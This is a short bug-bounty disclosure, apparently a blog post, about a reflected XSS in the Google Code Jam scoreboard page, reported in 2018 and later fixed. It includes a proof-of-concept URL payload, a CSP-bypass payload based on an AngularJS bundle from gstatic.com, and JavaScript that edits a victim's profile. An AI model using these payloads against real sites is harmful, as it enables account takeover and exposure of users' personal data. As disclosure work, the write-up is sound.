Reflected XSS in Google Code Jam

Information about this XSS:

The XSS will be fired in the toast message.

Also, it seems like you have to open the homepage (https://codejam.withgoogle.com/2018/challenges/) at least once before visiting other pages there.

POC:

https://codejam.withgoogle.com/2018/challenges/0000000000007766/scoreboard/for/%3Cimg%20src=x%20onerror=alert(document.domain)%3E

CSP:

Due to CSP, this XSS will fire only in browsers where it’s not supported (i.e. IE).

If we could somehow find a way to execute a script that has inserted dynamically, we could bypass (thanks to gstatic.com) the CSP using the following payload. But I don’t think it’s possible in this case.

<script src="https://www.gstatic.com/fsn/angular_js-bundle1.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1)>

Read more about bypassing CSP in my other post.

Attack scenario:

Attacker can get access to victim’s CodeJam account, for example read and edit his profile information (address, phone number, etc).

Here’s an example of how it could be done:

// go to profile page
document.querySelector('[href="/2018/profile"]').click();

setTimeout(function(){
  // change the username
  document.querySelector('#nickname').value = 'mynickname111';
  // create a fake input event 
  var event = document.createEvent("Event");
  event.initEvent('input', false, true); 
  document.querySelector('#nickname').dispatchEvent(event);
  // submit the form
  document.querySelector('[type="submit"]').click();
}, 1000)

Timeline:

29.08.2018: XSS reported
30.08.2018: Accepted
05.09.2018: Fixed

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